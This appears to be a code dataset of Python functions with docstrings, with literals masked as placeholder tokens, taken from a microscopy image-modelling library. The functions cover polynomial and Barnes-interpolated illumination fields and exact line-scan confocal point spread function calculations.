{"signature": "def __init__(self, order=(<NUM_LIT:1>,<NUM_LIT:1>,<NUM_LIT:1>), tileinfo=None, constval=None,<EOL>operation='<STR_LIT:*>', category='<STR_LIT>', shape=None,<EOL>float_precision=np.float64):", "body": "self.shape = shape<EOL>self.operation = operation<EOL>self.order = order<EOL>self.tileinfo = tileinfo<EOL>self.category = category<EOL>c = self.category<EOL>if float_precision not in (np.float64, np.float32, np.float16):<EOL><INDENT>raise ValueError('<STR_LIT>' +<EOL>'<STR_LIT>')<EOL><DEDENT>self.float_precision = float_precision<EOL>params, values = [], []<EOL>self.xy_param = {}<EOL>self.z_param = {}<EOL>for order in product(*(range(o) for o in self.order[<NUM_LIT:1>:][::-<NUM_LIT:1>])):<EOL><INDENT>p = c+'<STR_LIT>' % order<EOL>self.xy_param[p] = order<EOL>params.append(p)<EOL>values.append(<NUM_LIT:0.0>)<EOL><DEDENT>for order in range(self.order[<NUM_LIT:0>]):<EOL><INDENT>p = c+'<STR_LIT>' % order<EOL>self.z_param[p] = (order+<NUM_LIT:1>,)<EOL>params.append(p)<EOL>values.append(<NUM_LIT:0.0>)<EOL><DEDENT>Component.__init__(self, params, values, category=category)<EOL>if constval:<EOL><INDENT>self.set_values(c+'<STR_LIT>', constval)<EOL><DEDENT>if self.shape:<EOL><INDENT>self.initialize()<EOL><DEDENT>", "docstring": "A polynomial 2+1D class for updating large fields of polys.  The form\nof these polynomials if P(x,y) () Q(z), separated in the z-direction.\n\nParameters\n----------\nshape : tuple\n    shape of the field (z,y,x)\n\norder : tuple\n    number of terms in each direction\n\ntileinfo : tuple of 2 `peri.util.Tile`\n    These objects help in the transfer of fields from different\n    sections of the same image to new fields. `tileinfo` is a tuple\n    containing the Tile representing the entire image as well as the\n    Tile representing this particular section of field. (typically\n    given by `peri.rawimage.tile`)\n\nconstval : float\n    The initial value of the entire field, if a constant.\n\noperation : string\n    Type of joining operation between the (x,y) and (z) poly. Can be\n    either '*' or '+'\n\nfloat_precision : numpy float datatype\n    One of numpy.float16, numpy.float32, numpy.float64; precision\n    for precomputed arrays. Default is np.float64; make it 16 or 32\n    to save memory.", "id": "f5756:c2:m0"}
{"signature": "def __init__(self, npts=(<NUM_LIT>,<NUM_LIT:20>), zorder=<NUM_LIT:7>, op='<STR_LIT:*>', barnes_dist=<NUM_LIT>,<EOL>barnes_clip_size=<NUM_LIT:3>, local_updates=True, category='<STR_LIT>', shape=None,<EOL>float_precision=np.float64, donorm=True):", "body": "self.shape = shape<EOL>self.local_updates = local_updates<EOL>self.barnes_clip_size = barnes_clip_size<EOL>self.barnes_dist = barnes_dist<EOL>self.category = category<EOL>self.zorder = zorder<EOL>self.npts = npts<EOL>self.op = op<EOL>if float_precision not in (np.float64, np.float32, np.float16):<EOL><INDENT>raise ValueError('<STR_LIT>' +<EOL>'<STR_LIT>')<EOL><DEDENT>self.float_precision = float_precision<EOL>c = self.category<EOL>params, values = [c+'<STR_LIT>', c+'<STR_LIT>'], [<NUM_LIT:1.0>, <NUM_LIT:0.0>]<EOL>self.barnes_params, p, v = self._setup_barnes_params()<EOL>params.extend(p)<EOL>values.extend(v)<EOL>self.poly_params = {c+'<STR_LIT>' % i:i+<NUM_LIT:1> for i in range(zorder)}<EOL>params.extend(self.poly_params.keys())<EOL>values.extend([<NUM_LIT:0.0>]*len(self.poly_params))<EOL>super(BarnesPoly, self).__init__(<EOL>params=params, values=values, category=category<EOL>)<EOL>self._norm_stat = None<EOL>if self.shape:<EOL><INDENT>self.initialize()<EOL><DEDENT>", "docstring": "Superclass for ilms of the form Barnes * poly\n\nParameters\n----------\nshape : iterable\n    size of the field in pixels, needs to be padded shape\n\nnpts : tuple of ints, optional\n    Number of control points used for the Barnes interpolant b_k\n    in the x-y sum. Default is (40,20)\n\nzorder : integer\n    Number of orders for the z-polynomial.\n\nop : string\n    The operation to perform between Barnes and LegPoly, '*' or '+'.\n\nbarnes_dist : float\n    Fractional distance to use for the barnes interpolator\n\nlocal_updates : boolean\n    Whether to perform local updates on the ILM\n\nfloat_precision : numpy float datatype\n    One of numpy.float16, numpy.float32, numpy.float64; precision\n    for precomputed arrays. Default is np.float64; make it 16 or 32\n    to save memory.", "id": "f5756:c5:m0"}
{"signature": "def _setup_barnes_params(self):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Returns a possibly-nested list barnes_params, and a flat list of\n        the params and values for each of the barnes params", "id": "f5756:c5:m1"}
{"signature": "def __init__(self, npts=(<NUM_LIT>,<NUM_LIT:20>), zorder=<NUM_LIT:7>, op='<STR_LIT:*>', barnes_dist=<NUM_LIT>,<EOL>barnes_clip_size=<NUM_LIT:3>, local_updates=True, category='<STR_LIT>', shape=None,<EOL>float_precision=np.float64, donorm=True):", "body": "self.donorm = donorm<EOL>super(BarnesStreakLegPoly2P1D, self).__init__(npts=npts, zorder=zorder,<EOL>op=op, barnes_dist=barnes_dist, barnes_clip_size=barnes_clip_size,<EOL>local_updates=local_updates, category=category, shape=shape,<EOL>float_precision=float_precision)<EOL>", "docstring": "A Barnes interpolant. This one is of the form\n\n.. math::\n    I = \\\\left[1 + \\\\left(\\\\sum b_k(x) (o) L_k(y)\\\\right)\\\\right]  (1 + z q(z)) + c\n\nwhere b_k are independent barnes interpolants and L_k are legendre\npolynomials. q is a polynomial strictly in z. Additionally, the\noperation (o) is settable.\n\nParameters\n----------\nshape : iterable\n    size of the field in pixels, needs to be padded shape\n\nnpts : tuple of ints, optional\n    Number of control points used for the Barnes interpolant b_k\n    in the x-y sum. Default is (40,20)\n\nzorder : integer\n    Number of orders for the z-polynomial.\n\nop : string\n    The operation to perform between Barnes and LegPoly, '*' or '+'.\n\nbarnes_dist : float\n    Fractional distance to use for the barnes interpolator\n\nlocal_updates : boolean\n    Whether to perform local updates on the ILM\n\nfloat_precision : numpy float datatype\n    One of numpy.float16, numpy.float32, numpy.float64; precision\n    for precomputed arrays. Default is np.float64; make it 16 or 32\n    to save memory.\n\ndonorm : Bool\n    Whether or not to normalize the Barnes interpolation\n    (compatibility patch). Use True, i.e. normalize the Barnes\n    interpolant. Old version is False. Default is True.", "id": "f5756:c6:m0"}
{"signature": "def randomize_parameters(self, ptp=<NUM_LIT>, fourier=False, vmin=None, vmax=None):", "body": "if vmin is not None and vmax is not None:<EOL><INDENT>ptp = vmax - vmin<EOL><DEDENT>elif vmax is not None and vmin is None:<EOL><INDENT>vmin = vmax - ptp<EOL><DEDENT>elif vmin is not None and vmax is None:<EOL><INDENT>vmax = vmin + ptp<EOL><DEDENT>else:<EOL><INDENT>vmax = <NUM_LIT:1.0><EOL>vmin = vmax - ptp<EOL><DEDENT>self.set_values(self.category+'<STR_LIT>', <NUM_LIT:1.0>)<EOL>self.set_values(self.category+'<STR_LIT>', <NUM_LIT:0.0>)<EOL>for k, v in iteritems(self.poly_params):<EOL><INDENT>norm = (self.zorder + <NUM_LIT:1.0>)*<NUM_LIT:2><EOL>self.set_values(k, ptp*(np.random.rand() - <NUM_LIT:0.5>) / norm)<EOL><DEDENT>for i, p in enumerate(self.barnes_params):<EOL><INDENT>N = len(p)<EOL>if fourier:<EOL><INDENT>t = ((np.random.rand(N)-<NUM_LIT:0.5>) + <NUM_LIT>*(np.random.rand(N)-<NUM_LIT:0.5>))/(np.arange(N)+<NUM_LIT:1>)<EOL>q = np.real(np.fft.ifftn(t)) / (i+<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>t = ptp*np.sqrt(N)*(np.random.rand(N)-<NUM_LIT:0.5>)<EOL>q = np.cumsum(t) / (i+<NUM_LIT:1>)<EOL><DEDENT>q = ptp * q / q.ptp() / len(self.barnes_params)<EOL>q -= q.mean()<EOL>self.set_values(p, q)<EOL><DEDENT>self._norm_stat = [ptp, vmin]<EOL>if self.shape:<EOL><INDENT>self.initialize()<EOL><DEDENT>if self._parent:<EOL><INDENT>param = self.category+'<STR_LIT>'<EOL>self.trigger_update(param, self.get_values(param))<EOL><DEDENT>", "docstring": "Create random parameters for this ILM that mimic experiments\nas closely as possible without real assumptions.", "id": "f5756:c6:m7"}
{"signature": "def __init__(self, npts=(<NUM_LIT>,<NUM_LIT:20>), zorder=<NUM_LIT:7>, op='<STR_LIT:*>', barnes_dist=<NUM_LIT>,<EOL>barnes_clip_size=<NUM_LIT:3>, category='<STR_LIT>', shape=None,<EOL>float_precision=np.float64):", "body": "super(BarnesXYLegPolyZ, self).__init__(npts=npts, zorder=zorder,<EOL>op=op, barnes_dist=barnes_dist, barnes_clip_size=barnes_clip_size,<EOL>local_updates=True, category=category, shape=shape,<EOL>float_precision=float_precision)<EOL>", "docstring": "A Barnes interpolant. This one is of the form\n\n.. math::\n    I = \\\\left[1 + B(x,y) \\\\right]  (1 + z q(z)) + c\n\nwhere B is a Barnes interpolants and q is a polynomial strictly in z.\nAdditionally.... operation multiply or x for poly?.\nAlways uses local updates, since evaluating a 2D barnes for an entire\nimage can be slow.\n\nParameters\n----------\nshape : iterable\n    size of the field in pixels, needs to be padded shape\n\nnpts : 2-element tuple of ints, optional\n    Number of control points used for the Barnes interpolant\n    in x & y. Default is (40,20)\n\nzorder : integer\n    Number of orders for the z-polynomial.\n\nop : string\n    The operation to perform between Barnes and LegPoly, '*' or '+'.\n\nbarnes_dist : float\n    Fractional distance to use for the barnes interpolator\n\nlocal_updates : boolean\n    Whether to perform local updates on the ILM\n\nfloat_precision : numpy float datatype\n    One of numpy.float16, numpy.float32, numpy.float64; precision\n    for precomputed arrays. Default is np.float64; make it 16 or 32\n    to save memory.", "id": "f5756:c7:m0"}
{"signature": "def _barnes(self, pos):", "body": "b_in = self.b_in<EOL>dist = lambda x: np.sqrt(np.dot(x,x))<EOL>sz = self.npts[<NUM_LIT:1>]<EOL>coeffs = self.get_values(self.barnes_params)<EOL>b = BarnesInterpolationND(<EOL>b_in, coeffs, filter_size=self.filtsize, damp=<NUM_LIT>, iterations=<NUM_LIT:3>,<EOL>clip=self.local_updates, clipsize=self.barnes_clip_size,<EOL>blocksize=<NUM_LIT:100>  <EOL>)<EOL>return b(pos)<EOL>", "docstring": "Creates a barnes interpolant & calculates its values", "id": "f5756:c7:m2"}
{"signature": "def _barnes_val(self):", "body": "return self._barnes(self.b_out)<EOL>", "docstring": "Returns the raveled values of the barnes on the field", "id": "f5756:c7:m3"}
{"signature": "def _barnes_full(self):", "body": "return np.reshape(self._barnes_val(), self.shape.shape[<NUM_LIT:1>:])[None, :, :]<EOL>", "docstring": "Returns the shaped values of the barnes on the (x,y)", "id": "f5756:c7:m5"}
{"signature": "def moment(p, v, order=<NUM_LIT:1>):", "body": "if order == <NUM_LIT:1>:<EOL><INDENT>return (v*p).sum()<EOL><DEDENT>elif order == <NUM_LIT:2>:<EOL><INDENT>return np.sqrt( ((v**<NUM_LIT:2>)*p).sum() - (v*p).sum()**<NUM_LIT:2> )<EOL><DEDENT>", "docstring": "Calculates the moments of the probability distribution p with vector v", "id": "f5757:m0"}
{"signature": "def __init__(self, shape=None, zrange=None, laser_wavelength=<NUM_LIT>,<EOL>zslab=<NUM_LIT:0.>, zscale=<NUM_LIT:1.0>, kfki=<NUM_LIT>, n2n1=<NUM_LIT>/<NUM_LIT>, alpha=<NUM_LIT>,<EOL>polar_angle=<NUM_LIT:0.>, pxsize=<NUM_LIT>, support_factor=<NUM_LIT:2>, normalize=False,<EOL>sigkf=<NUM_LIT:0.0>, nkpts=None, cutoffval=None, measurement_iterations=None,<EOL>k_dist='<STR_LIT>', use_J1=True, sph6_ab=None, global_zscale=False,<EOL>cutbyval=False, cutfallrate=<NUM_LIT>, cutedgeval=<NUM_LIT>,<EOL>pinhole_width=None, do_pinhole=False, *args, **kwargs):", "body": "self.pxsize = pxsize<EOL>self.polar_angle = polar_angle<EOL>self.support_factor = support_factor<EOL>self.normalize = normalize<EOL>self.measurement_iterations = measurement_iterations or <NUM_LIT:11><EOL>self.global_zscale = global_zscale<EOL>self.polychromatic = False<EOL>self.sigkf = sigkf<EOL>self.nkpts = nkpts<EOL>self.cutoffval = cutoffval<EOL>self.cutbyval = cutbyval<EOL>self.cutfallrate = cutfallrate<EOL>self.cutedgeval = cutedgeval<EOL>self.k_dist = k_dist<EOL>self.use_J1 = use_J1<EOL>self.do_pinhole = do_pinhole<EOL>if self.sigkf is not None:<EOL><INDENT>self.nkpts = self.nkpts or <NUM_LIT:3><EOL>self.polychromatic = True<EOL><DEDENT>elif self.nkpts is not None:<EOL><INDENT>self.sigkf = <NUM_LIT:0.0><EOL>self.polychromatic = True<EOL><DEDENT>else:<EOL><INDENT>self.sigkf = sigkf = <NUM_LIT:0.0><EOL>self.polychromatic = False<EOL><DEDENT>if (sph6_ab is not None) and (not np.isnan(sph6_ab)):<EOL><INDENT>self.use_sph6_ab = True <EOL><DEDENT>else:<EOL><INDENT>self.use_sph6_ab = False<EOL><DEDENT>if shape and zrange is None:<EOL><INDENT>zrange = (<NUM_LIT:0>, shape.shape[<NUM_LIT:0>])<EOL><DEDENT>self.zrange = zrange<EOL>params = [<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>'<EOL>]<EOL>values = np.array([<EOL>kfki,   zslab,   zscale,   alpha,   n2n1,   laser_wavelength,<EOL>sigkf,    sph6_ab<EOL>])<EOL>if not self.polychromatic:<EOL><INDENT>ind = params.index('<STR_LIT>')<EOL>params.pop(ind)<EOL>values = np.delete(values, ind)<EOL><DEDENT>if not self.use_sph6_ab:<EOL><INDENT>ind = params.index('<STR_LIT>')<EOL>params.pop(ind)<EOL>values = np.delete(values, ind)<EOL><DEDENT>for i in range(len(params)):<EOL><INDENT>if params[i] is '<STR_LIT>' and self.global_zscale:<EOL><INDENT>continue<EOL><DEDENT>params[i] = '<STR_LIT>' + params[i]<EOL><DEDENT>super(ExactPSF, self).__init__(<EOL>*args, params=params, values=values, shape=shape, **kwargs<EOL>)<EOL>", "docstring": "Superclass for all the exact PSFs, i.e. any PSF that is based on\nphysical properties of the imaging system such as the laser\nwavelength.\n\nThis PSF functions by calculating the local PSF for every z layer\nin the image, and convolving each layer independently (numerically\nthe exact model of image formation).\n\nParameters\n----------\nshape : tuple\n    Shape of the image in (z,y,x) pixel numbers (to be deprecated)\n\nzrange : tuple\n    range of z pixels over which we should calculate the psf, good pixels\n    being zrange[0] <= z <= zrange[1]. currently must be set to the interior\n    of the image, so [state.pad, state.image.shape[0] - state.pad]\n\nlaser_wavelength : float\n    wavelength of light in um of the incoming laser light\n\nzslab : float\n    Pixel position of the optical interface where 0 is the edge of the\n    image in the z direction\n\nzscale : float\n    Scaling of the z pixel size, so that each pixel is located at\n    zscale*(z - zint), such that the interface does not move with zscale\n\nkfki : float\n    Ratio of outgoing to incoming light wavevectors, 2\\pi/\\lambda\n\nn2n1 : float\n    Ratio of the index mismatch across the optical interface. For typical\n    glass with glycerol/water 80/20 mixture this is 1.4/1.518\n\nalpha : float\n    Aperture of the lens in radians, set by arcsin(n2n1)?\n\npolar_angle : float\n    the angle of the light polarization with respect to the scanning axis\n\npxsize : float\n    the size of a xy pixel in um, defaults to cohen group size 0.125 um\n\nsupport_factor : integer\n    size of the support\n\nnormalize : boolean\n    if True, use the normalization as calculated by the PSF instead of\n    unit normalization\n\nsigkf : float\n    Width of wavelengths to use in the polychromatic psf, None is\n    monochromatic. Values for kfki = kfki +- sigkf, unitless\n\nnkpts : integer\n    number of integration points to use for the polychromatic psf\n\ncutoffval : float\n    Percentage of peak psf value to cutoff using a 3-axis\n    exp(-(r-r0)**4) function where r0 is determined by cutoffval. A\n    good value for this is the bit depth of the camera, or possibly the\n    SNR, so 1/2**8 or 1/50.\n\nmeasurement_iterations : int\n    number of interations used when trying to find the center of mass\n    of the psf in a certain slice\n\nk_dist : str\n    Eithe ['gaussian', 'gamma'] which control the wavevector\n    distribution for the polychromatic detection psf. Default\n    is Gaussian.\n\nuse_J1 : boolean\n    Which hdet confocal model to use. Set to True to include the\n    J1 term corresponding to a large-NA focusing lens, False to\n    exclude it. Default is True\n\ncutbyval : boolean\n    If True, cuts the PSF based on the actual value instead of the\n    position associated with the nearest value.\n\ncutfallrate : float\n    The relative value of the cutoffval over which to damp the\n    remaining values of the psf. 0.3 seems a good fit now.\n\ncutedgeval : float\n    The value with which to determine the edge of the psf, typically\n    taken around floating point, 1e-12\n\npinhole_width : Float\n    The width of the line illumination, in 1/k units. Default is 1.0.\n\ndo_pinhole : Bool\n    Whether or not to include pinhole line width in the sampling.\n    Default is False.", "id": "f5757:c0:m0"}
{"signature": "def psffunc(self, *args, **kwargs):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "The function to evaluate the exact psf. Syntax must be:\n\n    psf = psffunc(x, y, z, \\**kwargs)\n\nand return a ``[x.size, y.size, z.size]`` numpy.ndarray, where x,y,z\nare 1D arrays.\nImplement in subclass.", "id": "f5757:c0:m1"}
{"signature": "def psf_slice(self, zint, size=<NUM_LIT:11>, zoffset=<NUM_LIT:0.>, getextent=False):", "body": "<EOL>zint = max(self._p2k(self._tz(zint)), <NUM_LIT:0>)<EOL>offset = np.array([zoffset*(zint><NUM_LIT:0>), <NUM_LIT:0>, <NUM_LIT:0>])<EOL>scale = [self.param_dict[self.zscale], <NUM_LIT:1.0>, <NUM_LIT:1.0>]<EOL>tile = util.Tile(left=<NUM_LIT:0>, size=size, centered=True)<EOL>vecs = tile.coords(form='<STR_LIT>')<EOL>vecs = [self._p2k(s*i+o) for i,s,o in zip(vecs, scale, offset)]<EOL>psf = self.psffunc(*vecs[::-<NUM_LIT:1>], zint=zint, **self.pack_args()).T<EOL>vec = tile.coords(form='<STR_LIT>')<EOL>if self.cutoffval is not None and not self.cutbyval:<EOL><INDENT>edge = psf > psf.max() * self.cutoffval<EOL>dd = nd.morphology.distance_transform_edt(~edge)<EOL>psf = psf * np.exp(-dd**<NUM_LIT:4>)<EOL>psf /= psf.sum()<EOL>if getextent:<EOL><INDENT>size = np.array([<EOL>(vec*edge).min(axis=(<NUM_LIT:1>,<NUM_LIT:2>,<NUM_LIT:3>))-<NUM_LIT:2>,<EOL>(vec*edge).max(axis=(<NUM_LIT:1>,<NUM_LIT:2>,<NUM_LIT:3>))+<NUM_LIT:2>,<EOL>]).T<EOL>return psf, vec, size<EOL><DEDENT>return psf, vec<EOL><DEDENT>if self.cutoffval is not None and self.cutbyval:<EOL><INDENT>cutval = self.cutoffval * psf.max()<EOL>dd = (psf - cutval) / cutval<EOL>dd[dd > <NUM_LIT:0>] = <NUM_LIT:0.><EOL>psf = psf * np.exp(-(dd / self.cutfallrate)**<NUM_LIT:4>)<EOL>psf /= psf.sum()<EOL>edge = psf > cutval * self.cutedgeval<EOL>if getextent:<EOL><INDENT>size = np.array([<EOL>(vec*edge).min(axis=(<NUM_LIT:1>,<NUM_LIT:2>,<NUM_LIT:3>))-<NUM_LIT:2>,<EOL>(vec*edge).max(axis=(<NUM_LIT:1>,<NUM_LIT:2>,<NUM_LIT:3>))+<NUM_LIT:2>,<EOL>]).T<EOL>return psf, vec, size<EOL><DEDENT>return psf, vec<EOL><DEDENT>return psf, vec<EOL>", "docstring": "Calculates the 3D psf at a particular z pixel height\n\nParameters\n----------\nzint : float\n    z pixel height in image coordinates , converted to 1/k by the\n    function using the slab position as well\n\nsize : int, list, tuple\n    The size over which to calculate the psf, can be 1 or 3 elements\n    for the different axes in image pixel coordinates\n\nzoffset : float\n    Offset in pixel units to use in the calculation of the psf\n\ncutval : float\n    If not None, the psf will be cut along a curve corresponding to\n    p(r) == 0 with exponential damping exp(-d^4)\n\ngetextent : boolean\n    If True, also return the extent of the psf in pixels for example\n    to get the support size. Can only be used with cutval.", "id": "f5757:c0:m4"}
{"signature": "def pack_args(self):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Pack the parameters into the form necessary for the integration\nroutines above in psfcalc.", "id": "f5757:c0:m6"}
{"signature": "def _p2k(self, v):", "body": "return <NUM_LIT:2>*np.pi*self.pxsize*v/self.param_dict['<STR_LIT>']<EOL>", "docstring": "Convert from pixel to 1/k_incoming (laser_wavelength/(2\\pi)) units", "id": "f5757:c0:m7"}
{"signature": "def _tz(self, z):", "body": "return (z-self.param_dict['<STR_LIT>'])*self.param_dict[self.zscale]<EOL>", "docstring": "Transform z to real-space coordinates from tile coordinates", "id": "f5757:c0:m8"}
{"signature": "def drift(self, z):", "body": "return np.polyval(self.drift_poly, z)<EOL>", "docstring": "Give the pixel offset at a given z value for the current parameters", "id": "f5757:c0:m9"}
{"signature": "def measure_size_drift(self, z, size=<NUM_LIT>, zoffset=<NUM_LIT:0.>):", "body": "drift = <NUM_LIT:0.0><EOL>for i in range(self.measurement_iterations):<EOL><INDENT>psf, vec = self.psf_slice(z, size=size, zoffset=zoffset+drift)<EOL>psf = psf / psf.sum()<EOL>drift += moment(psf, vec[<NUM_LIT:0>], order=<NUM_LIT:1>)<EOL>psize = [moment(psf, j, order=<NUM_LIT:2>) for j in vec]<EOL><DEDENT>return np.array(psize), drift<EOL>", "docstring": "Returns the 'size' of the psf in each direction a particular z (px)", "id": "f5757:c0:m10"}
{"signature": "def characterize_psf(self):", "body": "<EOL>l,u = max(self.zrange[<NUM_LIT:0>], self.param_dict['<STR_LIT>']), self.zrange[<NUM_LIT:1>]<EOL>size_l, drift_l = self.measure_size_drift(l)<EOL>size_u, drift_u = self.measure_size_drift(u)<EOL>self.support = util.oddify(<NUM_LIT:2>*self.support_factor*size_u.astype('<STR_LIT:int>'))<EOL>self.drift_poly = np.polyfit([l, u], [drift_l, drift_u], <NUM_LIT:1>)<EOL>if self.cutoffval is not None:<EOL><INDENT>psf, vec, size_l = self.psf_slice(l, size=<NUM_LIT>, zoffset=drift_l, getextent=True)<EOL>psf, vec, size_u = self.psf_slice(u, size=<NUM_LIT>, zoffset=drift_u, getextent=True)<EOL>ss = [np.abs(i).sum(axis=-<NUM_LIT:1>) for i in [size_l, size_u]]<EOL>self.support = util.oddify(util.amax(*ss))<EOL><DEDENT>", "docstring": "Get support size and drift polynomial for current set of params", "id": "f5757:c0:m11"}
{"signature": "def _kpad(self, field, finalshape, zpad=False, norm=True):", "body": "currshape = np.array(field.shape)<EOL>if any(finalshape < currshape):<EOL><INDENT>raise IndexError(\"<STR_LIT>\")<EOL><DEDENT>d = finalshape - currshape<EOL>o = d % <NUM_LIT:2><EOL>d = np.floor_divide(d, <NUM_LIT:2>)<EOL>if not zpad:<EOL><INDENT>o[<NUM_LIT:0>] = <NUM_LIT:0><EOL><DEDENT>axes = None<EOL>pad = tuple((d[i]+o[i],d[i]) for i in [<NUM_LIT:0>,<NUM_LIT:1>,<NUM_LIT:2>])<EOL>rpsf = np.pad(field, pad, mode='<STR_LIT>', constant_values=<NUM_LIT:0>)<EOL>rpsf = np.fft.ifftshift(rpsf, axes=axes)<EOL>kpsf = fft.rfftn(rpsf, **fftkwargs)<EOL>if norm:<EOL><INDENT>kpsf /= kpsf[<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>]<EOL><DEDENT>return kpsf<EOL>", "docstring": "fftshift and pad the field with zeros until it has size finalshape.\nif zpad is off, then no padding is put on the z direction. returns\nthe fourier transform of the field", "id": "f5757:c0:m16"}
{"signature": "def __init__(self, shape=None, zrange=None, laser_wavelength=<NUM_LIT>, zslab=<NUM_LIT:0.>,<EOL>zscale=<NUM_LIT:1.0>, kfki=<NUM_LIT>, n2n1=<NUM_LIT>/<NUM_LIT>, alpha=<NUM_LIT>, polar_angle=<NUM_LIT:0.>,<EOL>pxsize=<NUM_LIT>, support_factor=<NUM_LIT:2>, normalize=False, sigkf=<NUM_LIT:0.0>,<EOL>nkpts=None, cutoffval=None, measurement_iterations=None,<EOL>k_dist='<STR_LIT>', use_J1=True, sph6_ab=None, global_zscale=False,<EOL>cutbyval=False, cutfallrate=<NUM_LIT>, cutedgeval=<NUM_LIT>,<EOL>pinhole_width=None, do_pinhole=False, *args, **kwargs):", "body": "super(ExactLineScanConfocalPSF, self).__init__(*args, shape=shape,<EOL>zrange=zrange, laser_wavelength=laser_wavelength, zslab=zslab,<EOL>zscale=zscale, kfki=kfki, n2n1=n2n1, alpha=alpha, pxsize=<EOL>pxsize, polar_angle=polar_angle, support_factor=support_factor,<EOL>normalize=normalize, sigkf=sigkf, nkpts=nkpts, cutoffval=<EOL>cutoffval, measurement_iterations= measurement_iterations,<EOL>k_dist=k_dist, use_J1=use_J1, sph6_ab=sph6_ab, global_zscale=<EOL>global_zscale, cutbyval=cutbyval, cutfallrate=cutfallrate,<EOL>cutedgeval=cutedgeval, **kwargs)<EOL>self.do_pinhole = do_pinhole<EOL>if (pinhole_width is not None) or do_pinhole:<EOL><INDENT>self.num_line_pts = <NUM_LIT:3><EOL><DEDENT>else:<EOL><INDENT>self.num_line_pts = <NUM_LIT:1><EOL><DEDENT>pinhole_width = pinhole_width if (pinhole_width is not None) else <NUM_LIT:1.0><EOL>if self.do_pinhole:<EOL><INDENT>k = '<STR_LIT>'<EOL>params.append(k)<EOL>self.param_dict.update({k:pinhole_width})<EOL><DEDENT>", "docstring": "PSF for line-scanning confocal microscopes that can be used with the\nperi framework.  Calculates the spatially varying point spread\nfunction for confocal microscopes and allows them to be applied to\nimages as a convolution.\n\nThis PSF assumes that the z extent is large compared to the image size\nand so calculates the local PSF for every z layer in the image.\n\nParameters\n----------\nshape : tuple\n    Shape of the image in (z,y,x) pixel numbers (to be deprecated)\n\nzrange : tuple\n    range of z pixels over which we should calculate the psf, good pixels\n    being zrange[0] <= z <= zrange[1]. currently must be set to the interior\n    of the image, so [state.pad, state.image.shape[0] - state.pad]\n\nlaser_wavelength : float\n    wavelength of light in um of the incoming laser light\n\nzslab : float\n    Pixel position of the optical interface where 0 is the edge of the\n    image in the z direction\n\nzscale : float\n    Scaling of the z pixel size, so that each pixel is located at\n    zscale*(z - zint), such that the interface does not move with zscale\n\nkfki : float\n    Ratio of outgoing to incoming light wavevectors, 2\\pi/\\lambda\n\nn2n1 : float\n    Ratio of the index mismatch across the optical interface. For typical\n    glass with glycerol/water 80/20 mixture this is 1.4/1.518\n\nalpha : float\n    Aperture of the lens in radians, set by arcsin(n2n1)?\n\npolar_angle : float\n    the angle of the light polarization with respect to the scanning axis\n\npxsize : float\n    the size of a xy pixel in um, defaults to cohen group size 0.125 um\n\nsupport_factor : integer\n    size of the support\n\nnormalize : boolean\n    if True, use the normalization as calculated by the PSF instead of\n    unit normalization\n\nsigkf : float\n    Width of wavelengths to use in the polychromatic psf, None is\n    monochromatic. Values for kfki = kfki +- sigkf, unitless\n\nnkpts : integer\n    number of integration points to use for the polychromatic psf\n\ncutoffval : float\n    Percentage of peak psf value to cutoff using a 3-axis\n    exp(-(r-r0)**4) function where r0 is determined by cutoffval. A\n    good value for this is the bit depth of the camera, or possibly the\n    SNR, so 1/2**8 or 1/50.\n\nmeasurement_iterations : int\n    number of interations used when trying to find the center of mass\n    of the psf in a certain slice\n\nk_dist : str\n    Eithe ['gaussian', 'gamma'] which control the wavevector\n    distribution for the polychromatic detection psf. Default\n    is Gaussian.\n\nuse_J1 : boolean\n    Which hdet confocal model to use. Set to True to include the\n    J1 term corresponding to a large-NA focusing lens, False to\n    exclude it. Default is True\n\ncutbyval : boolean\n    If True, cuts the PSF based on the actual value instead of the\n    position associated with the nearest value.\n\ncutfallrate : float\n    The relative value of the cutoffval over which to damp the\n    remaining values of the psf. 0.3 seems a good fit now.\n\ncutedgeval : float\n    The value with which to determine the edge of the psf, typically\n    taken around floating point, 1e-12\n\npinhole_width : Float\n    The width of the line illumination, in 1/k units. Default is 1.0.\n\ndo_pinhole : Bool\n    Whether or not to include pinhole line width in the sampling.\n    Default is False.\n\nNotes:\n    a = ExactLineScanConfocalPSF((64,)*3)\n    psf, (z,y,x) = a.psf_slice(1., size=51)\n    imshow((psf*r**4)[:,:,25], cmap='bone')", "id": "f5757:c1:m0"}
{"signature": "def pack_args(self):", "body": "mapper = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'<EOL>}<EOL>bads = [self.zscale, '<STR_LIT>']<EOL>d = {}<EOL>for k,v in iteritems(mapper):<EOL><INDENT>if k in self.param_dict:<EOL><INDENT>d[v] = self.param_dict[k]<EOL><DEDENT><DEDENT>d.update({<EOL>'<STR_LIT>': self.polar_angle,<EOL>'<STR_LIT>': self.normalize,<EOL>'<STR_LIT>':self.use_J1<EOL>})<EOL>if self.polychromatic:<EOL><INDENT>d.update({'<STR_LIT>': self.nkpts})<EOL>d.update({'<STR_LIT>': self.k_dist})<EOL><DEDENT>if self.do_pinhole:<EOL><INDENT>d.update({'<STR_LIT>': self.num_line_pts})<EOL><DEDENT>d.update({'<STR_LIT>': True})<EOL>return d<EOL>", "docstring": "Pack the parameters into the form necessary for the integration\nroutines above.  For example, packs for calculate_linescan_psf", "id": "f5757:c1:m1"}
{"signature": "def psffunc(self, *args, **kwargs):", "body": "if self.polychromatic:<EOL><INDENT>func = psfcalc.calculate_polychrome_linescan_psf<EOL><DEDENT>else:<EOL><INDENT>func = psfcalc.calculate_linescan_psf<EOL><DEDENT>return func(*args, **kwargs)<EOL>", "docstring": "Calculates a linescan psf", "id": "f5757:c1:m2"}
